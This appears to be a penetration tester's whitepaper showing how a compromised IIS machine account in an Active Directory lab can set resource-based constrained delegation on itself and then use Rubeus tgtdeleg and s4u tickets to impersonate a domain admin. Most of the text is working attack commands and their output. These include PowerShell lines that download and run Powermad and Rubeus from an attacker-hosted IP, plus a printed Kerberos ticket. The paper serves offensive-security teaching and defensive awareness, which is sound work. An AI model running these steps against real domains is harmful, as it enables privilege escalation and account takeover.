

A large, stylized circular graphic composed of two thick, curved segments. The top-left segment is red and the bottom-right segment is black, meeting at a white gap in the center. The text is centered within this white gap.

Delegate 2 Thyself Attack

17 March 2020

**Author: Charlie Clark, Senior
IT Security Consultant**

A Small Demonstration Of The Ability And Usefulness Of Delegating To Yourself

So a situation arose on the [BloodHound Slack channel](#) recently which is very similar to the one I am going to describe in this whitepaper and the user could have benefited from this so I have decided to speed up my writing of this particular whitepaper. It is going to involve using Resource-Based Constrained Delegation (RBCD) for local privilege escalation.

Firstly, there are much better resources for a full explanation of the RBCD theory and attack vectors, the best I have read [Wagging the Dog](#) by [Elad Shamir](#) but also [this](#) and [this](#) by [Will Schroeder](#), and even the [Microsoft Kerberos documentation](#) if you are really looking at understanding how Kerberos works as a whole.

I learned everything I know about RBCD from the posts mentioned above, so I highly recommend reading and understanding those if you truly want to understand RBCD.

Here, I will simply be explaining an attack that, while very similar to some being spoken about, I have not really seen anywhere, while trying to clear up a few areas of confusion a lot of people seem to have on the topic.

Resource-Based Constrained Delegation 101

While those other posts are without doubt the place to go if you want to understand how this works, I will try to give a little recap of the essentials here.

Delegation is used in Kerberos to allow services to delegate (impersonate) as other users to other services. This is so that, for example, if a user accesses a web server and that web server is using a database server in the background, the web server is able to *impersonate* the user to access the database server and only gain access to the data owned by that user.

Resource-Based Constrained Delegation is governed by an Access Control List (ACL) contained within the **msDS-AllowedToActOnBehalfOfOtherIdentity** Active Directory attribute of the *target* machine account. This means if you want AccountA to be able to delegate to AccountB, then you have to set an Access Control Entry (ACE) within the ACL in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on *AccountB* for *AccountA*.

Confusion 1 - Service Accounts

So as Elad mentions in his [post](#) that *SYSTEM*, *NT AUTHORITY\NETWORK SERVICE* and [Microsoft Virtual Accounts](#) all authenticate on the network as the machine account on domain-joined systems. This is really useful to know as most Windows services on modern versions of Windows will run using a Microsoft Virtual Account by default. The 2 most notable are [IIS](#) and [MSSQL](#) but I am sure there are many more.

This can be verified very easily:


```
PS C:\windows\system32\inetsrv> Get-DomainGroup "Domain Admins" | select -expand member | Get-DomainUser | select samaccountname

samaccountname
-----
external.admin
Administrator
```

Confusion 2 - Machines Creating Machines

Generally with these RBCD attacks you require a second account with a [service principal name](#) (SPN), the common method is to create a new machine account as by default the [machine account quota](#) is **10**:

```
PS C:\windows\system32\inetsrv> (Get-DomainObject -DistinguishedName "DC=external,DC=zeroday,DC=lab") | select ms-ds-machineaccountquota

ms-ds-machineaccountquota
-----
                            10
```

I have seen some confusion on whether a machine account can be used to create another machine account. It is possible to create a machine account using a machine account, this can be done using [Kevin Robertson's Powermad](#):

```
PS C:\windows\system32\inetsrv> iex (new-object net.webclient).downloadstring('http://192.168.71.198:8000/pm.txt')
PS C:\windows\system32\inetsrv> $pwd = ConvertTo-SecureString "Foobar12345" -AsPlainText -Force
PS C:\windows\system32\inetsrv> New-MachineAccount -MachineAccount TestMachineAccount -Password $pwd
[+] Machine account TestMachineAccount added
```

Now querying the domain controller, the newly created machine account can be seen:

```
PS C:\windows\system32\inetsrv> Get-ADComputer TestMachineAccount

DNSHostName           : TestMachineAccount.external.zeroday.lab
UserPrincipalName     :
Enabled               : True
SamAccountName        : TestMachineAccount$
SID                   : S-1-5-21-2497454771-856038897-3094711587-1112
DistinguishedName    : CN=TestMachineAccount,CN=Computers,DC=external,DC=zeroday,DC=lab
Name                   : TestMachineAccount
ObjectClass           : computer
ObjectGuid            : 4433c4a8-9af7-409b-9cc6-9b15b01072e0
PropertyNames        : {DistinguishedName, DNSHostName, Enabled, Name...}
AddedProperties       : {}
RemovedProperties     : {}
ModifiedProperties    : {}
PropertyCount        : 9
```

The Crazy Bit

For this whitepaper though, I want to show that even if the machine account quota is **0**, and access to another account with an SPN has not been achieved, it is possible to abuse RBCD for privilege escalation. So the machine account quota has been reset to **0**:

```
PS C:\windows\system32\inetsrv> (Get-DomainObject -DistinguishedName "DC=external,DC=zeroday,DC=lab") | select ms-ds-machineaccountquota

ms-ds-machineaccountquota
-----
0
```

Now it is not possible to create a new machine account:

```
PS C:\windows\system32\inetsrv> New-MachineAccount -MachineAccount NewMachineAccount -Password $pwd
[-] Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."
PS C:\windows\system32\inetsrv> Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."
At line:955 char:9
+         $connection.SendRequest($request) > $null
+ ~~~~~
+ CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : DirectoryOperationException
```

So here is the main reason for this blog, I was thinking one day "I wonder if a machine can delegate access to itself". So effectively, *I* (the machine account) want to tell the domain controller that *I* (the machine account) wants the ability to delegate access to *myself* (the machine account). I am not sure why this would ever be required in a normal setup, but it in fact is possible.

So using the shell that I have already imported the [ADModule](#), I can set the **msDS-AllowedToActOnBehalfOfOtherIdentity**:

```
PS C:\windows\system32\inetsrv> $iis = Get-ADComputer EIIS1
PS C:\windows\system32\inetsrv> Set-ADComputer EIIS1 -PrincipalsAllowedToDelegateToAccount $iis
```

This is all that is required to configure RBCD. To demonstrate that it has in fact worked, I can run Get-ADComputer from another terminal (because showing the extended attributes using the ADModule does not work):

```
PS C:\Users\external.admin> Get-ADComputer EIIS1 -Properties PrincipalsAllowedToDelegateToAccount

DistinguishedName           : CN=EIIS1,CN=Computers,DC=external,DC=zeroday,DC=lab
DNSHostName                  : EIIS1.external.zeroday.lab
Enabled                      : True
Name                         : EIIS1
ObjectClass                  : computer
ObjectGUID                   : 2a1850f-f8df-487b-9504-a8a066a5f520
PrincipalsAllowedToDelegateToAccount : {CN=EIIS1,CN=Computers,DC=external,DC=zeroday,DC=lab}
SamAccountName               : EIIS1
SID                          : S-1-5-21-2497454771-856038897-3094711587-1111
UserPrincipalName            :
```

So now I have the ability to impersonate any domain user on the machine, that is not in the **Protected Users** group or marked as **Sensitive and cannot be delegated**.

Abusing This Configuration

There is one more piece of the puzzle before we can actually perform the attack. We need to be able to pass [Rubeus](#) credentials for the machine account. This can be in the form of a username and password, or a [TGT ticket](#).

Luckily [Benjamin Delpy](#) figured out how to do this, it is now called the [tgtdeleg trick](#) and it is also been implemented in [Rubeus](#).

So after downloading Rubeus onto the compromised system, we can easily use it to grab a usable TGT:

```
PS C:\windows\system32\inetsrv> (new-object net.webclient).downloadfile('http://192.168.71.198:8000/ru.txt','C:\temp\ru.exe')
PS C:\windows\system32\inetsrv> C:\temp\ru.exe tgtdeleg /nowrap
```



```
v1.5.0

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/EDC1.external.zeroday.lab'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_shal
[*] Extracted the service ticket session key from the ticket cache: zP64nxRWLWSjCSytpulHnrKbZCRL4kxSFFVUGPur+xE=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

doIFTjCCBUqgAwIBBaEDAgEWooIEPTCCBDlhggQ1MIIEMaADAgEFoRyYbFEVYVEVSTkFMLlpFUK
9EQVkuTEFCoi1kwJ6ADAgECoSAwHhsGa3JidGd0GxRFWFRFUK5BTC5aRVJPREF2LkxBOqOCA+UwggPhoA
MCARKhAwIBAgKCA9MEggPPtzlIGrLWjxEugEGSMN6PjDOE6txw8J0ger4c2ZPXN9LTW1AltnmNBPdnRv
UeBSCHWpnyjNrt8owZESnR3jpFS4GuOp2RMvnJky2Ai/avL8ylMTsqGtGas17BTEc6ihJLC1p7Zbk1U
FjOpH20PKnWr43YjmEJfzJoXzOhXTgBlEXPB10ZrX7QXU7UrIfg14XS0uDltAGZYtFniryRSEFGNV0V0
0y5Dwgb0/H1K10UkS81r7YMxU0KdSjipU/9R/I2Q+ceXcjc1jrsLVLdhkbNtgxmSAlaEANT+J3kHeDt3N
eARXmRF4k049h9a9or9gwg1Xv+2vpne002FtD2oI2YdmuvW+nb90169GVJuWHhFl2kMcBOhkt1FsQzQu
9p0Vw3yLuqm66w3kHR9sanv+Pe89Ka9KJ/DEpwb4IfEmZOX+Xy5dMTG+jHCIB9d69OHQp8v9yLJWr11L
D4o+BQECdYGxrm+D7t6uTNJplDRzw8em77JE8IjPN+O2/ixQqfPk5sYoyCvTFbaymXIqyDwIzOqvJxFS
Hb0Gt67dIAx4VciIIRGyC4Se+RV/X3CMQ2waigY3EG75CB5G4D1DgoiuoK/6o4vXzN6ZG6zG7S01vLB
PZLZ+6Bj1KbqxBSK7E3CaOnh5VY1W11HBkdb2BY5b24NLbq74Ke84rrnnHCCWbBeJXKHof+gNLcK8JPP
mbrRPjkbkmc5seKLYL3tMAaQ52J4NWz/Ww5cuH5vJoTVYPpbEiCJnDNg/NhYtc5NdBTn44nmtX5ar4Ht
4bd4f2oybRpg6Iaf0jmAM295++K9nk/RzqH09DzmW6KUJxArNNx1dKUrCHs956m75cMTXtOKp/0cdVdI
9uLSAuN6U02cvlWbnW1VZnHq1nZ6T9oJiDc2Dg+Q1UqSzcZIoGdLCIIS4sy8yHX4xSsSiedaCCA9DqOk
aHFYMIeJePPvqB9X1E/eqIf0sgHU5PNXUbo+vOrZJsgYCFKfzRqD4u9NC6m2+1QzPHgymFlhNepX9hY
2p0YqZftibVL0042Ls/tGot18mQ1G3eQ2rdj/hsFvtdTlzsP900LjXNze21bAF4iSsq0RKe3+dSvujIuU
VGke/Ao4uP2FPdyVXeUvuyDCYYNNXsi7TQWspcGwzBozX4UYURw/r50/T4n4ICF7Yf6/ng2AYoa325wT
MnYcsDVAH/xblu15gnXfxsSH6vqgEzNHh3BDgWB75+q6CyyMvceEj7hEwVgTP4hzE0ZULpiaZavMURXBS
aC9b3n9X6/xEVRgfdOS0orrXiZ2LiYbXNT00+H3chyo4H8MIH5oAMCAQCigfEEge59geswgeiggeUwge
Iwgd+gKzApoAMCARKhIqGqkR0gRO62Fjs68y8SvEHW2o6cs51Dmk9nAxfdqk0UqXahFhsURVhURVJQU
wuWkVST0RBWS5MQUKiEzARoAMCAQGHcJAIGwZFSU1TMSjBwMFAGChAAC1ERgPMjAyMDAzMTcyMDQ4Mz
VaphEYDzIwMjAwMzE4MDY0ODMlWqcRGA8yMDIwMDMwNDIwNDgzNVqoFhsURVhURVJQUUwWkVST0RBWS
5MQUKpKtAnoAMCAQKHIDAEgWzrcmJ0Z3QbFEVYVEVSTkFMLlpFUK9EQVkuTEFC
```

That TGT can be used with the `s4u` Rubeus command to request a service ticket to [HTTP/EIIS1.external.zeroday.lab](#) (myself) as the user `external.admin` and injected into the current context:


```
PS C:\windows\system32\inetsrv> Invoke-Command -ComputerName EIIS1.external.zeroday.lab -Command {whoami}
external\external.admin
```

Cleanup

When on an assessment, it is always important to clean up any changes made to systems to return them to the original settings as much as possible. The RBCD configuration can be reset to its original state using the machine account again if domain admin privileges has not been achieved.

If the configuration was originally empty, this can be undertaken in the following way:

```
PS C:\windows\system32\inetsrv> Set-ADComputer EIIS1 -PrincipalsAllowedToDelegateToAccount $null
```

And to verify that this worked:

```
PS C:\Users\external.admin> Get-ADComputer EIIS1 -Properties PrincipalsAllowedToDelegateToAccount

DistinguishedName           : CN=EIIS1,CN=Computers,DC=external,DC=zeroday,DC=lab
DNSHostName                  : EIIS1.external.zeroday.lab
Enabled                      : True
Name                         : EIIS1
ObjectClass                  : computer
ObjectGUID                   : 1859f-f8df-487b-9594-e8e066e5f539
PrincipalsAllowedToDelegateToAccount : {}
SamAccountName               : EIIS1$
SID                          : S-1-5-21-2497454771-856038897-3094711587-1111
UserPrincipalName            :
```

Conclusion

Delegation is hard and often configured wrong, so it is important to understand the scope of what is possible using these Kerberos features.

Active Directory in its default configuration is vulnerable to a number of different attacks and these settings rarely get changed by the system administrator so this is often a very fruitful avenue for an attacker.

To secure AD against this attack is no different to those described by Elad in his [post](#), there is nothing really new here apart from the idea of delegating to the same account.